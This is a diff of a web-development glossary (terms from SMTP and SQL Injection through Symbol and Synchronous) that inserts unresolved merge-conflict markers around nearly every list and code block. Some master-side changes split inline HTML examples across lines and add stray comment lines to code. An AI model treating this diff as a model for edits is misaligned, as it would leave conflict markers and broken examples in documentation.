 If this basic functionality fails, there is no point investing time in more detailed QA work at this stage.
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Smoke testing (software)"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Smoke testing (software)"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: SMPTE (Society of Motion Picture and Television Engineers)
 
+<<<<<<< HEAD
 - Engineers
 - Glossary
 - Motion Picture
@@ -11790,6 +18052,16 @@ If this basic functionality fails, there is no point investing time in more deta
 - Specifications
 - Television
 - standards
+=======
+-   Engineers
+-   Glossary
+-   Motion Picture
+-   Movies
+-   SMPTE
+-   Specifications
+-   Television
+-   standards
+>>>>>>> master
 
 ---
 
@@ -11801,11 +18073,19 @@ For example, SMPTE defines the standards used for digital cinema used by modern
 
 ## Term: SMTP
 
+<<<<<<< HEAD
 - Beginner
 - Collaboration
 - Glossary
 - Infrastructure
 - Sharing
+=======
+-   Beginner
+-   Collaboration
+-   Glossary
+-   Infrastructure
+-   Sharing
+>>>>>>> master
 
 ---
 
@@ -11815,6 +18095,7 @@ The protocol is relatively straightforward. Primary complications include suppor
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "SMTP"_) (Wikipedia)
 - [Glossary](/en-US/docs/Glossary)
 
@@ -11822,13 +18103,27 @@ The protocol is relatively straightforward. Primary complications include suppor
     - _glossary("POP"_)
     - _glossary("protocol"_)
     - _Glossary("state machine"_)
+=======
+-   _Interwiki("wikipedia", "SMTP"_) (Wikipedia)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _glossary("NNTP"_)
+    -   _glossary("POP"_)
+    -   _glossary("protocol"_)
+    -   _Glossary("state machine"_)
+>>>>>>> master
 
 ---
 
 ## Term: Snap positions
 
+<<<<<<< HEAD
 - Glossary
 - snap positions
+=======
+-   Glossary
+-   snap positions
+>>>>>>> master
 
 ---
 
@@ -11840,10 +18135,17 @@ Defining Snap positions on the scroll container was introduced in the [CSS Scrol
 
 ## Term: SOAP
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - SOAP
 - WebMechanics
+=======
+-   Glossary
+-   Infrastructure
+-   SOAP
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -11851,16 +18153,27 @@ Defining Snap positions on the scroll container was introduced in the [CSS Scrol
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "SOAP"_) on Wikipedia
 - [Specification](https://www.w3.org/TR/soap12-part1/)
+=======
+-   _Interwiki("wikipedia", "SOAP"_) on Wikipedia
+-   [Specification](https://www.w3.org/TR/soap12-part1/)
+>>>>>>> master
 
 ---
 
 ## Term: SPA (Single-page application)
 
+<<<<<<< HEAD
 - Glossary
 - SPA
 - single-page app
+=======
+-   Glossary
+-   SPA
+-   single-page app
+>>>>>>> master
 
 ---
 
@@ -11870,6 +18183,7 @@ This therefore allows users to use websites without loading whole new pages from
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Single-page application"_) (Wikipedia)
 - [Understanding client-side JavaScript frameworks](/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks)
 - [Glossary](/en-US/docs/Glossary)
@@ -11883,14 +18197,35 @@ This therefore allows users to use websites without loading whole new pages from
     - [React](https://reactjs.org/)
     - [Angular](https://angular.io/)
     - [Vue.JS](https://vuejs.org/)
+=======
+-   _Interwiki("wikipedia", "Single-page application"_) (Wikipedia)
+-   [Understanding client-side JavaScript frameworks](/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("API"_)
+    -   _Glossary("AJAX"_)
+    -   _Glossary("JavaScript"_)
+
+-   Popular SPA frameworks:
+
+    -   [React](https://reactjs.org/)
+    -   [Angular](https://angular.io/)
+    -   [Vue.JS](https://vuejs.org/)
+>>>>>>> master
 
 ---
 
 ## Term: Specification
 
+<<<<<<< HEAD
 - Glossary
 - OpenPractices
 - Standardization
+=======
+-   Glossary
+-   OpenPractices
+-   Standardization
+>>>>>>> master
 
 ---
 
@@ -11898,18 +18233,31 @@ This therefore allows users to use websites without loading whole new pages from
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Specification"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Specification"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Speculative parsing
 
+<<<<<<< HEAD
 - Advanced
 - HTML
 - HTML5
 - NeedsUpdate
 - Web Development
 - Web Performance
+=======
+-   Advanced
+-   HTML
+-   HTML5
+-   NeedsUpdate
+-   Web Development
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -11923,19 +18271,38 @@ To make speculative loads of linked scripts, style sheets and images successful,
 
 Speculative tree building fails when `document.write()` changes the tree builder state such that the speculative state after the `</script>` tag no longer holds when all the content inserted by `document.write()` has been parsed. However, only unusual uses of `document.write()` cause trouble. Here are the things to avoid:
 
+<<<<<<< HEAD
 - Don't write unbalanced trees. `<script>document.write("<div>");</script>` is bad. `<script>document.write("<div></div>");</script>` is OK.
 - Don't write an unfinished token. `<script>document.write("<div></div");</script>` is bad.
 - Don't finish your writing with a carriage return. `<script>document.write("Hello World!\r");</script>` is bad. `<script>document.write("Hello World!\n");</script>` is OK.
 - Don't format part of a table. `<table><script>document.write("<tr><td>Hello World!</td></tr>");</script></table>` is bad.
+=======
+-   Don't write unbalanced trees. `<script>document.write("<div>");</script>` is bad. `<script>document.write("<div>
+</div>");</script>` is OK.
+-   Don't write an unfinished token. `<script>document.write("<div> </div");</script>` is bad.
+-   Don't finish your writing with a carriage return. `<script>document.write("Hello World!\r");</script>` is bad. `<script>document.write("Hello World!\n");</script>` is OK.
+-   Don't format part of a table. `<table>
+    <script>document.write("<tr>
+    <td>Hello World!</td>
+    </tr>");</script>
+    </table>` is bad.
+>>>>>>> master
 
 ---
 
 ## Term: Speed index
 
+<<<<<<< HEAD
 - Glossary
 - Performance
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Performance
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -11947,17 +18314,29 @@ The calculation calculates what percent of the page is visually complete at ever
 
 #### See also
 
+<<<<<<< HEAD
 - [Learn web performance](/en-US/docs/Learn/Performance)
+=======
+-   [Learn web performance](/en-US/docs/Learn/Performance)
+>>>>>>> master
 
 ---
 
 ## Term: SQL Injection
 
+<<<<<<< HEAD
 - Glossary
 - Security
 - Sql
 - Sql Injection
 - Webapp
+=======
+-   Glossary
+-   Security
+-   Sql
+-   Sql Injection
+-   Webapp
+>>>>>>> master
 
 ---
 
@@ -12019,17 +18398,29 @@ So due to (1) each single quote (') in the input string is replaced with double
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "SQL injection"_) on Wikipedia
 - [Explanation of SQL injection ](https://www.owasp.org/index.php/SQL_Injection)on OWASP (Open Web Application Security Project)
+=======
+-   _Interwiki("wikipedia", "SQL injection"_) on Wikipedia
+-   [Explanation of SQL injection ](https://www.owasp.org/index.php/SQL_Injection)on OWASP (Open Web Application Security Project)
+>>>>>>> master
 
 ---
 
 ## Term: SQL
 
+<<<<<<< HEAD
 - CodingScripting
 - Database
 - Glossary
 - Sql
+=======
+-   CodingScripting
+-   Database
+-   Glossary
+-   Sql
+>>>>>>> master
 
 ---
 
@@ -12037,16 +18428,27 @@ So due to (1) each single quote (') in the input string is replaced with double
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "SQL"_) on Wikipedia
 - [Learn SQL on sqlzoo.net](https://sqlzoo.net/wiki/SQL_Tutorial)
 - [Tutorials Point](https://www.tutorialspoint.com/sql/)
+=======
+-   _Interwiki("wikipedia", "SQL"_) on Wikipedia
+-   [Learn SQL on sqlzoo.net](https://sqlzoo.net/wiki/SQL_Tutorial)
+-   [Tutorials Point](https://www.tutorialspoint.com/sql/)
+>>>>>>> master
 
 ---
 
 ## Term: SRI
 
+<<<<<<< HEAD
 - CSP
 - Security
+=======
+-   CSP
+-   Security
+>>>>>>> master
 
 ---
 
@@ -12054,18 +18456,31 @@ So due to (1) each single quote (') in the input string is replaced with double
 
 #### See also
 
+<<<<<<< HEAD
 - [Subresource Integrity](/en-US/docs/Web/Security/Subresource_Integrity)
 - _HTTPHeader("Content-Security-Policy"_): _CSP("require-sri-for"_)
+=======
+-   [Subresource Integrity](/en-US/docs/Web/Security/Subresource_Integrity)
+-   _HTTPHeader("Content-Security-Policy"_): _CSP("require-sri-for"_)
+>>>>>>> master
 
 ---
 
 ## Term: Secure Sockets Layer (SSL)
 
+<<<<<<< HEAD
 - Glossary
 - SSL
 - Security
 - TLS
 - Web Performance
+=======
+-   Glossary
+-   SSL
+-   Security
+-   TLS
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -12073,20 +18488,35 @@ So due to (1) each single quote (') in the input string is replaced with double
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Transport Layer Security"_) (Wikipedia)
 - [Transport Layer Security (TLS) protocol](/en-US/docs/Web/Security/Transport_Layer_Security)
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("HTTPS"_)
     - _Glossary("TLS"_)
+=======
+-   _Interwiki("wikipedia", "Transport Layer Security"_) (Wikipedia)
+-   [Transport Layer Security (TLS) protocol](/en-US/docs/Web/Security/Transport_Layer_Security)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("HTTPS"_)
+    -   _Glossary("TLS"_)
+>>>>>>> master
 
 ---
 
 ## Term: Stacking context
 
+<<<<<<< HEAD
 - CSS
 - CodingScripting
 - Glossary
+=======
+-   CSS
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -12094,12 +18524,17 @@ So due to (1) each single quote (') in the input string is replaced with double
 
 #### See also
 
+<<<<<<< HEAD
 - [Further explanation and example](/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context)
+=======
+-   [Further explanation and example](/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context)
+>>>>>>> master
 
 ---
 
 ## Term: State machine
 
+<<<<<<< HEAD
 - CodingScripting
 - Finite
 - Glossary
@@ -12108,6 +18543,16 @@ So due to (1) each single quote (') in the input string is replaced with double
 - Moore
 - State Machine
 - Turing Machine
+=======
+-   CodingScripting
+-   Finite
+-   Glossary
+-   Input
+-   Mealy
+-   Moore
+-   State Machine
+-   Turing Machine
+>>>>>>> master
 
 ---
 
@@ -12119,10 +18564,17 @@ Looking at the final state, you can discern something about the series of inputs
 
 There are two types of basic state machines:
 
+<<<<<<< HEAD
 - deterministic finite state machine
 - - : This kind allows only one possible transition for any allowed input. This is like the "if" _Glossary("statement"_) in that `if x == true then doThis else doThat` is not possible. The computer must perform _one_ of the two options.
 - non-deterministic finite state machine
     - : Given some state, an input can lead to more than one different state.
+=======
+-   deterministic finite state machine
+-   -   : This kind allows only one possible transition for any allowed input. This is like the "if" _Glossary("statement"_) in that `if x == true then doThis else doThat` is not possible. The computer must perform _one_ of the two options.
+-   non-deterministic finite state machine
+    -   : Given some state, an input can lead to more than one different state.
+>>>>>>> master
 
 _Figure 1: Deterministic Finite State Machine_
 
@@ -12140,18 +18592,31 @@ Note that any _Glossary("regular expression"_) can be represented by a state mac
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Finite-state machine"_) on Wikipedia
 - _Interwiki("wikipedia", "UML state machine"_) on Wikipedia
 - _Interwiki("wikipedia", "Moore machine"_) on Wikipedia
 - _Interwiki("wikipedia", "Mealy machine"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Finite-state machine"_) on Wikipedia
+-   _Interwiki("wikipedia", "UML state machine"_) on Wikipedia
+-   _Interwiki("wikipedia", "Moore machine"_) on Wikipedia
+-   _Interwiki("wikipedia", "Mealy machine"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Statement
 
+<<<<<<< HEAD
 - Beginner
 - CodingScripting
 - Glossary
+=======
+-   Beginner
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -12159,19 +18624,33 @@ Note that any _Glossary("regular expression"_) can be represented by a state mac
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Statement (computer science)"_) on Wikipedia
 - [JavaScript statements and declarations](/en-US/docs/Web/JavaScript/Reference/Statements)
+=======
+-   _Interwiki("wikipedia", "Statement (computer science)"_) on Wikipedia
+-   [JavaScript statements and declarations](/en-US/docs/Web/JavaScript/Reference/Statements)
+>>>>>>> master
 
 ---
 
 ## Term: Static method
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
 - Method
 - Static
 - Static Method
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+-   Method
+-   Static
+-   Static Method
+>>>>>>> master
 
 ---
 
@@ -12186,12 +18665,20 @@ Methods called on object instances are called _instance methods_.
 In the [Notifications API](/en-US/docs/Web/API/Notifications_API), the _domxref("Notification.requestPermission()"_) method is called on the actual _domxref("Notification"_) constructor itself — it is a static method:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let promise = Notification.requestPermission();
 ```
 
 The _domxref("Notification.close()"_) method on the other hand, is an instance method — it is called on an specific notification object instance to close the system notification it represents:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let myNotification = new Notification('This is my notification');
 
 myNotification.close();
@@ -12199,20 +18686,35 @@ myNotification.close();
 
 #### See also
 
+<<<<<<< HEAD
 - [Static Method](https://www.techopedia.com/definition/24034/static-method) on Techopedia
 - [static](/en-US/docs/Web/JavaScript/Reference/Classes/static)
 - [MDN Web Docs Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Object"_)
     - _Glossary("Method"_)
+=======
+-   [Static Method](https://www.techopedia.com/definition/24034/static-method) on Techopedia
+-   [static](/en-US/docs/Web/JavaScript/Reference/Classes/static)
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Object"_)
+    -   _Glossary("Method"_)
+>>>>>>> master
 
 ---
 
 ## Term: Static typing
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Type
+=======
+-   CodingScripting
+-   Glossary
+-   Type
+>>>>>>> master
 
 ---
 
@@ -12220,15 +18722,25 @@ myNotification.close();
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Type system"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Type system"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Strict mode
 
+<<<<<<< HEAD
 - Glossary
 - JavaScript
 - Reference
+=======
+-   Glossary
+-   JavaScript
+-   Reference
+>>>>>>> master
 
 ---
 
@@ -12238,19 +18750,33 @@ Strict mode for an entire script is invoked by including the statement `"use str
 
 #### See also
 
+<<<<<<< HEAD
 - [Strict mode](/en-US/docs/Web/JavaScript/Reference/Strict_mode)
 - [Transitioning to strict mode](/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode)
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Sloppy mode"_)
+=======
+-   [Strict mode](/en-US/docs/Web/JavaScript/Reference/Strict_mode)
+-   [Transitioning to strict mode](/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Sloppy mode"_)
+>>>>>>> master
 
 ---
 
 ## Term: Stringifier
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Stringifier
+=======
+-   CodingScripting
+-   Glossary
+-   Stringifier
+>>>>>>> master
 
 ---
 
@@ -12258,16 +18784,27 @@ Strict mode for an entire script is invoked by including the statement `"use str
 
 #### See also
 
+<<<<<<< HEAD
 - Stringifiers in [Information contained in a WebIDL file](/en-US/docs/MDN/Contribute/Howto/Write_an_API_reference/Information_contained_in_a_WebIDL_file#stringifier)
+=======
+-   Stringifiers in [Information contained in a WebIDL file](/en-US/docs/MDN/Contribute/Howto/Write_an_API_reference/Information_contained_in_a_WebIDL_file#stringifier)
+>>>>>>> master
 
 ---
 
 ## Term: String
 
+<<<<<<< HEAD
 - Beginner
 - CodingScripting
 - Glossary
 - String
+=======
+-   Beginner
+-   CodingScripting
+-   Glossary
+-   String
+>>>>>>> master
 
 ---
 
@@ -12277,18 +18814,31 @@ In _Glossary("JavaScript"_), a String is one of the _Glossary("Primitive", "prim
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "String (computer science)"_) on Wikipedia
 - [JavaScript data types and data structures](/en-US/docs/Web/JavaScript/Data_structures#string_type)
+=======
+-   _Interwiki("wikipedia", "String (computer science)"_) on Wikipedia
+-   [JavaScript data types and data structures](/en-US/docs/Web/JavaScript/Data_structures#string_type)
+>>>>>>> master
 
 ---
 
 ## Term: STUN
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - STUN
 - WebMechanics
 - WebRTC
+=======
+-   Glossary
+-   Infrastructure
+-   STUN
+-   WebMechanics
+-   WebRTC
+>>>>>>> master
 
 ---
 
@@ -12296,46 +18846,81 @@ In _Glossary("JavaScript"_), a String is one of the _Glossary("Primitive", "prim
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "STUN"_) on Wikipedia
 - [WebRTC protocols](/en-US/docs/Web/API/WebRTC_API/Protocols)
 
 ### Technical reference
 
 - [Specification](https://datatracker.ietf.org/doc/html/rfc5389)
+=======
+-   _Interwiki("wikipedia", "STUN"_) on Wikipedia
+-   [WebRTC protocols](/en-US/docs/Web/API/WebRTC_API/Protocols)
+
+### Technical reference
+
+-   [Specification](https://datatracker.ietf.org/doc/html/rfc5389)
+>>>>>>> master
 
 ---
 
 ## Term: Style origin
 
+<<<<<<< HEAD
 - CSS
 - Glossary
 - Style
 - Style Origin
 - origin
+=======
+-   CSS
+-   Glossary
+-   Style
+-   Style Origin
+-   origin
+>>>>>>> master
 
 ---
 
 > In _Glossary("CSS"_), there are three categories of sources for style changes. These categories are called **style origins**. They are the **user agent origin**, **user origin**, and the **author origin**.
 
+<<<<<<< HEAD
 - User-agent origin
 - - : The user agent origin is the style origin comprised of the default styles used by the user's web browser. If no other styles are applied to content, the user agent origin's styles are used while rendering elements.
 - User origin
     - : The user origin is the style origin containing any CSS that the user of the web browser has added. These may be from adding styles using a developer tool or from a browser extension that automatically applies custom styles to content, such as [Stylus](https://add0n.com/stylus.html) or [Stylish](https://userstyles.org/).
 - Author origin
     - : The author origin is the style origin which contains all of the styles which are part of the document, whether embedded within the _Glossary("HTML"_) or loaded from an external stylesheet file.
+=======
+-   User-agent origin
+-   -   : The user agent origin is the style origin comprised of the default styles used by the user's web browser. If no other styles are applied to content, the user agent origin's styles are used while rendering elements.
+-   User origin
+    -   : The user origin is the style origin containing any CSS that the user of the web browser has added. These may be from adding styles using a developer tool or from a browser extension that automatically applies custom styles to content, such as [Stylus](https://add0n.com/stylus.html) or [Stylish](https://userstyles.org/).
+-   Author origin
+    -   : The author origin is the style origin which contains all of the styles which are part of the document, whether embedded within the _Glossary("HTML"_) or loaded from an external stylesheet file.
+>>>>>>> master
 
 The style origins are used to determine where to stop rolling back (or backtracking through) the cascade of styles that have been applied to an element when removing styles, such as when using the _cssxref("unset"_) or _cssxref("revert"_) keywords.
 
 #### See also
 
+<<<<<<< HEAD
 - [CSS Cascading and Inheritance: Cascading Origins](https://drafts.csswg.org/css-cascade-4/#cascading-origins)
+=======
+-   [CSS Cascading and Inheritance: Cascading Origins](https://drafts.csswg.org/css-cascade-4/#cascading-origins)
+>>>>>>> master
 
 ---
 
 ## Term: Stylesheet
 
+<<<<<<< HEAD
 - Glossary
 - StyleSheet
+=======
+-   Glossary
+-   StyleSheet
+>>>>>>> master
 
 ---
 
@@ -12345,19 +18930,33 @@ External stylesheets are generally preferred because they allow you to control t
 
 #### See also
 
+<<<<<<< HEAD
 - [CSS first steps](/en-US/docs/Learn/CSS/First_steps)
 - Stylesheets on [Wikipedia](<https://en.wikipedia.org/wiki/Style_sheet_(web_development)>)
+=======
+-   [CSS first steps](/en-US/docs/Learn/CSS/First_steps)
+-   Stylesheets on [Wikipedia](<https://en.wikipedia.org/wiki/Style_sheet_(web_development)>)
+>>>>>>> master
 
 ---
 
 ## Term: SVG
 
+<<<<<<< HEAD
 - Beginner
 - CodingScripting
 - Glossary
 - Graphics
 - SVG
 - l10n:priority
+=======
+-   Beginner
+-   CodingScripting
+-   Glossary
+-   Graphics
+-   SVG
+-   l10n:priority
+>>>>>>> master
 
 ---
 
@@ -12369,17 +18968,29 @@ As a [vector image format](https://en.wikipedia.org/wiki/Vector_graphics), SVG g
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "SVG"_) on Wikipedia
 - [W3.org's SVG Primer](https://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html)
 - [SVG documentation on MDN](/en-US/docs/Web/SVG)
 - [Latest SVG specification](https://www.w3.org/TR/SVG/)
+=======
+-   _Interwiki("wikipedia", "SVG"_) on Wikipedia
+-   [W3.org's SVG Primer](https://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html)
+-   [SVG documentation on MDN](/en-US/docs/Web/SVG)
+-   [Latest SVG specification](https://www.w3.org/TR/SVG/)
+>>>>>>> master
 
 ---
 
 ## Term: SVN
 
+<<<<<<< HEAD
 - Collaborating
 - Glossary
+=======
+-   Collaborating
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -12387,19 +18998,33 @@ As a [vector image format](https://en.wikipedia.org/wiki/Vector_graphics), SVG g
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Apache Subversion"_) on Wikipedia
 - [Official website](https://subversion.apache.org/)
+=======
+-   _Interwiki("wikipedia", "Apache Subversion"_) on Wikipedia
+-   [Official website](https://subversion.apache.org/)
+>>>>>>> master
 
 ---
 
 ## Term: Symbol
 
+<<<<<<< HEAD
 - Data Type
 - ECMAScript 2015
 - Glossary
 - JavaScript
 - Sharing
 - Symbol
+=======
+-   Data Type
+-   ECMAScript 2015
+-   Glossary
+-   JavaScript
+-   Sharing
+-   Symbol
+>>>>>>> master
 
 ---
 
@@ -12412,6 +19037,10 @@ Symbol can have an optional description, but for debugging purposes only.
 A **Symbol** value represents a unique identifier. For example:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 // Here are two symbols with the same description:
 let Sym1 = Symbol('Sym');
 let Sym2 = Symbol('Sym');
@@ -12435,6 +19064,10 @@ Most values in JavaScript support implicit conversion to a string. For instance,
 For example:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let Sym = Symbol('Sym');
 alert(Sym); // TypeError: Cannot convert a Symbol value to a string
 ```
@@ -12444,6 +19077,10 @@ That's a "language guard" against messing up, because strings and symbols are fu
 If you really want to show a symbol, we need to call `.toString()` on it.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let Sym = Symbol('Sym');
 alert(Sym.toString()); // Symbol(Sym), now it works
 ```
@@ -12451,6 +19088,10 @@ alert(Sym.toString()); // Symbol(Sym), now it works
 Or you can use the `symbol.description` property to get its description:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let _Sym = Symbol('Sym');
 
 alert(_Sym.description); // Sym
@@ -12464,11 +19105,19 @@ Examples of well-known symbols are: _jsxref("Symbol.iterator"_) for array-like o
 
 They are listed in the specification in the [Well-known symbols](https://tc39.github.io/ecma262/#sec-well-known-symbols) table:
 
+<<<<<<< HEAD
 - `Symbol.hasInstance`
 - `Symbol.isConcatSpreadable`
 - `Symbol.iterator`
 - `Symbol.toPrimitive`
 - …and so on.
+=======
+-   `Symbol.hasInstance`
+-   `Symbol.isConcatSpreadable`
+-   `Symbol.iterator`
+-   `Symbol.toPrimitive`
+-   …and so on.
+>>>>>>> master
 
 ### Global symbol registry
 
@@ -12477,11 +19126,16 @@ There is a global symbol registry holding all available symbols. The methods tha
 The method `Symbol.for(tokenString)` returns a symbol value from the registry, and `Symbol.keyFor(symbolValue)` returns a token string from the registry; each is the other's inverse, so the following is `true`:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 Symbol.keyFor(Symbol.for('tokenString')) === 'tokenString'; // true
 ```
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Symbol (programming)"_) on Wikipedia
 - [JavaScript data types and data structures](/en-US/docs/Web/JavaScript/Data_structures)
 - [Symbols in ECMAScript 6](https://2ality.com/2014/12/es6-symbols.html)
@@ -12491,15 +19145,33 @@ Symbol.keyFor(Symbol.for('tokenString')) === 'tokenString'; // true
 
     - _Glossary("JavaScript"_)
     - _Glossary("Primitive"_)
+=======
+-   _Interwiki("wikipedia", "Symbol (programming)"_) on Wikipedia
+-   [JavaScript data types and data structures](/en-US/docs/Web/JavaScript/Data_structures)
+-   [Symbols in ECMAScript 6](https://2ality.com/2014/12/es6-symbols.html)
+-   _jsxref("Symbol"_) in the MDN JS reference
+-   _jsxref("Object.getOwnPropertySymbols()"_)
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("JavaScript"_)
+    -   _Glossary("Primitive"_)
+>>>>>>> master
 
 ---
 
 ## Term: Symmetric-key cryptography
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Security
 - Symmetric-key cryptography
+=======
+-   Cryptography
+-   Glossary
+-   Security
+-   Symmetric-key cryptography
+>>>>>>> master
 
 ---
 
@@ -12513,20 +19185,35 @@ Most symmetric-key algorithms currently in use are block ciphers: this means tha
 
 #### See also
 
+<<<<<<< HEAD
 - [MDN Web Docs Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Block cipher mode of operation"_)
     - _Glossary("Cryptography"_)
     - _Glossary("Cryptographic hash function"_)
     - _Glossary("Symmetric-key cryptography"_)
+=======
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Block cipher mode of operation"_)
+    -   _Glossary("Cryptography"_)
+    -   _Glossary("Cryptographic hash function"_)
+    -   _Glossary("Symmetric-key cryptography"_)
+>>>>>>> master
 
 ---
 
 ## Term: Synchronous
 
+<<<<<<< HEAD
 - Glossary
 - Web
 - WebMechanics
+=======
+-   Glossary
+-   Web
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -12538,16 +19225,27 @@ Many programming commands are also synchronous — for example when you type in
 
 #### See also
 
+<<<<<<< HEAD
 - _glossary("Asynchronous"_)
 - [Synchronous and asynchronous requests](/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests) using the [XMLHttpRequest()](/en-US/docs/Web/API/XMLHttpRequest) _glossary("API"_)
+=======
+-   _glossary("Asynchronous"_)
+-   [Synchronous and asynchronous requests](/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests) using the [XMLHttpRequest()](/en-US/docs/Web/API/XMLHttpRequest) _glossary("API"_)
+>>>>>>> master
 
 ---
 
 ## Term: Syntax error
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -12557,16 +19255,27 @@ For example, if you leave off a closing brace (`}`) when defining a _Glossary("J
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Syntax error"_) on Wikipedia
 - _jsxref("SyntaxError"_) JavaScript object
+=======
+-   _Interwiki("wikipedia", "Syntax error"_) on Wikipedia
+-   _jsxref("SyntaxError"_) JavaScript object
+>>>>>>> master
 
 ---
 
 ## Term: Syntax
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Syntax
+=======
+-   CodingScripting
+-   Glossary
+-   Syntax
+>>>>>>> master
 
 ---
 
@@ -12584,17 +19293,29 @@ Frameworks are said to have a "clean" syntax if they produce simple, readable, c
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Syntax (programming languages)"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Syntax (programming languages)"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Synthetic monitoring
 
+<<<<<<< HEAD
 - Glossary
 - RUM
 - Reference
 - Synthetic monitoring
 - Web Performance
+=======
+-   Glossary
+-   RUM
+-   Reference
+-   Synthetic monitoring
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -12608,17 +19329,29 @@ Unlike [RUM](/en-US/docs/Glossary/Real_User_Monitoring), synthetic monitoring pr
 
 #### See also
 
+<<<<<<< HEAD
 - [Real User Monitoring (RUM)](/en-US/docs/Glossary/Real_User_Monitoring)
 - [Real User Monitoring (RUM) versus Synthetic Monitoring](/en-US/docs/Web/Performance/Rum-vs-Synthetic)
 - [Beacon](/en-US/docs/Glossary/beacon)
+=======
+-   [Real User Monitoring (RUM)](/en-US/docs/Glossary/Real_User_Monitoring)
+-   [Real User Monitoring (RUM) versus Synthetic Monitoring](/en-US/docs/Web/Performance/Rum-vs-Synthetic)
+-   [Beacon](/en-US/docs/Glossary/beacon)
+>>>>>>> master
 
 ---
 
 ## Term: Table Grid Box
 
+<<<<<<< HEAD
 - Glossary
 - CSS
 - Tables
+=======
+-   Glossary
+-   CSS
+-   Tables
+>>>>>>> master
 
 ---
 
@@ -12628,9 +19361,15 @@ Unlike [RUM](/en-US/docs/Glossary/Real_User_Monitoring), synthetic monitoring pr
 
 ## Term: Table Wrapper Box
 
+<<<<<<< HEAD
 - Glossary
 - CSS
 - Tables
+=======
+-   Glossary
+-   CSS
+-   Tables
+>>>>>>> master
 
 ---
 
